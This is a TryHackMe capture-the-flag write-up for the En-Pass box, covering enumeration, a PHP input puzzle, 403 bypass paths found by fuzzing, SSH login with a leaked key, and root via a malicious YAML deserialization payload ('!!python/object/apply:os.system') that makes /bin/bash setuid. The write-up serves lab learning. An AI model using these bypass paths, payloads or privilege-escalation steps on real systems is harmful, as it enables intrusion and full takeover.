TryHackMe En-Pass Writeup
TryHackMe En-pass Writeup
This writeup will help you solve the En-pass box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts file.
echo “<box_ip> enpass.thm” >> /etc/hosts
Enumeration
We start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
nmap -sV -sC enpass.thm
The output of the scan can be seen below:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)
| 256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)
|_ 256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)
8001/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see 2 open ports. Port 22 is used for SSH and port 8001 serves for a web server. Browsing to http://enpass.thm:8001/ gives the following page:

Name The Path.
Let’s use gobuster to find hidden files and directories. Run the following command:
gobuster dir -u http://enpass.thm:8001/ -w /usr/share/wordlists/common.txt -x php
The output can be seen below:
/403.php (Status: 403)
/index.html (Status: 200)
/reg.php (Status: 200)
/server-status (Status: 403)
/web (Status: 301)
/zip (Status: 301)
We find two interesting paths here: zip and web. Furthermore, 403.php and reg.php look like interesting files. For now, let’s try to find more directories or files within this directory by running gobuster again for this directory.
gobuster dir -u http://enpass.thm:8001/web/ -w /usr/share/wordlists/common.txt
This gives us the following output:
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/resources (Status: 301)
Now we find the resources directory. Enumerating this directory the same way as we did before do not result in any interesting directories or files. You need another wordlist to find more hidden directories or files. Using the directory-list-2.3-medium.txt list will provide you with valuable output. Run gobuster using the following command:
gobuster dir -u http://enpass.thm:8001/web/resources/ -w /usr/share/wordlists/directory-list-2.3-medium.txt
The output is listed below:
/infoseek (Status: 301)
Run gobuster again to find the next directory.
gobuster dir -u http://enpass.thm:8001/web/resources/infoseek/ -w /usr/share/wordlists/common.txt
The output can be seen below:
/configure (Status: 301)
Run gobuster one final time to find the path required:
gobuster dir -u http://enpass.thm:8001/web/resources/infoseek/configure/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x php
The final output can be seen below:
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/key (Status: 200)
Browsing to http://enpass.thm:8001/web/resources/infoseek/configure/key gives us a private key. For now the private key does not provide us with much. The private key is password protected so we need to find the username and the password to log into the server using SSH.
reg.php
The content of http://enpass.thm:8001/reg.php can be seen below:

When inspecting the Page Source, we find the following snippet:
<?php
if ($_SERVER[“REQUEST_METHOD”] == “POST”)
{
$title = $_POST[“title”];
if (!preg_match(‘/[a-zA-Z0–9]/i’, $title))
{
$val = explode(“,”, $title);
$sum = 0;
for ($i = 0;$i < 9;$i++)
{
if ((strlen($val[0]) == 2) and (strlen($val[8]) == 3))
{
if ($val[5] != $val[8] and $val[3] != $val[7])
$sum = $sum + (bool)$val[$i] . “
“;}
}
if (($sum) == 9)
{
echo $result; //do not worry you’ll get what you need.
echo “ Congo You Got It !! Nice “;
}
else
{
echo “ Try Try!!”;
}
}
else
{
echo “ Try Again!! “;
}
}
?>
The script checks the input on a set of requirements. For instance, the input !!,!,!,!,!,!,!,!!,!!! will be valid according to the regular expression shown above. Filling in this input reveals the message:
Nice. Password : <REDACTED>
403.php by-pass
The password we found belongs to the private key. The only thing left is to find the username so that we can log in the server using SSH. The last interesting page we can use to find the username is the 403.php file. Using 403fuzzer we can try to fuzz the 403 page. Run the following commands:
git clone https://github.com/intrudir/403fuzzer.git
cd 403fuzzer/
python3 403fuzzer.py -u http://enpass.thm:8001/403.php | grep 200
We only want to see valid pages, so that’s why we add the grep 200 to our command. Within a few minutes, you should see the following output:
Response Code: 200 Length: 2563 Path: /
Response Code: 200 Length: 2563 Path: /
Response Code: 200 Length: 2563 Path: /
Response Code: 200 Length: 2563 Path: /
Response Code: 200 Length: 2563 Path: /403.php%3b/%2e.
Response Code: 200 Length: 2563 Path: /403.php%3b/..
Response Code: 200 Length: 2563 Path: /403.php/%2e%2e
Response Code: 200 Length: 2563 Path: /403.php/%2e%2e/
Response Code: 200 Length: 2563 Path: /403.php/..
Response Code: 200 Length: 2563 Path: /403.php/../
Response Code: 200 Length: 2563 Path: /403.php/../../..//
Response Code: 200 Length: 2563 Path: /403.php/../..//
Response Code: 200 Length: 2563 Path: /403.php/../.;/../
Response Code: 200 Length: 2563 Path: /403.php/..//
Response Code: 200 Length: 2563 Path: /403.php/..//../
Response Code: 200 Length: 2563 Path: /403.php/../;/../
Response Code: 200 Length: 917 Path: /403.php/..;/
Response Code: 200 Length: 2563 Path: /403.php//../../
Response Code: 200 Length: 2563 Path: /403.php;/%2e%2e
Response Code: 200 Length: 2563 Path: /403.php;/%2e%2e/
Response Code: 200 Length: 2563 Path: /403.php;/%2e.
Response Code: 200 Length: 2563 Path: /403.php;/.%2e
Response Code: 200 Length: 2563 Path: /403.php;/..
Response Code: 200 Length: 2563 Path: /403.php;/../
Response Code: 200 Length: 2563 Path: /403.php;/../..//
Response Code: 200 Length: 2563 Path: /403.php;/../.;/../
Response Code: 200 Length: 2563 Path: /403.php;/..//
Response Code: 200 Length: 2563 Path: /403.php;/..//%2e%2e/
Response Code: 200 Length: 2563 Path: /403.php;/..//../
Response Code: 200 Length: 2563 Path: /403.php;/..///
Response Code: 200 Length: 2563 Path: /403.php;/../;/../
Response Code: 200 Length: 2563 Path: /403.php;//../../
Response Code: 200 Length: 2563 Path: /
Response Code: 200 Length: 2563 Path: /
Response Code: 200 Length: 2563 Path: /
Response code: 200 Response length: 0 Sent OPTIONS method.
One of the valid responses has a different size than the other responses. Browe to: http://enpass.thm:8001/403.php/..;/ to find the following text:
Glad to see you here.Congo, you bypassed it. ‘<redacted>’ is waiting for you somewhere.
Here we find the username so now we can finally log into the server using SSH to obtain the user.txt flag. Download the private key and log into the server by running:
wget http://enpass.thm:8001/web/resources/infoseek/configure/key
chmod 400 key
ssh -i key <redacted>@enpass.thm
Provide the password we found on the reg.php page, and we are into the system! The user.txt flag is located at /home/<redacted>/user.txt. You can run: /bin/bash -i to obtain a bash shell instead of a sh shell. It’s all a matter of personal preferences ;).
Root Flag
The last step in rooting the box is finding the root.txt flag. First, make sure to run pspy64s to find processes running on the system. Run the following lines on your local machine:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
python3 -m http.server
Then on the box run:
cd /tmp
wget HTTP://<ATTACKBOX_IP>:8000/pspy64s
chmod +x pspy64s
./pspy64s
You should be able to view some of the running processes. The most interesting one is:
/bin/sh -c cd /opt/scripts && sudo /usr/bin/python /opt/scripts/file.py && sudo rm -f /tmp/file.yml
It seems like this command is executed every minute by the root user. The contents of /opt/scripts/file.py can be seen below:
#!/usr/bin/python
import yaml
class Execute():
def __init__(self,file_name =”/tmp/file.yml”):
self.file_name = file_name
self.read_file = open(file_name ,”r”)
def run(self):
return self.read_file.read()
data = yaml.load(Execute().run())
A yaml file is requested at /tmp/file.yml. The content is read and executed afterwards. If the yaml file is not properly sanitized, an attacker can potentially run remote code. Run the following commands:
cd /tmp
touch file.yml
echo ‘!!python/object/apply:os.system [“chmod 4777 /bin/bash”]’ > file.yml
Wait for a minute and run:
/bin/bash -p
The root.txt flag is located in /root/root.txt.
This box was fun to root. I learned that you do not need to stop enumerating the system when you find a 403 page. Furthermore, despite using innocent yaml configuration files, you still can break the whole system if you abuse how you use them.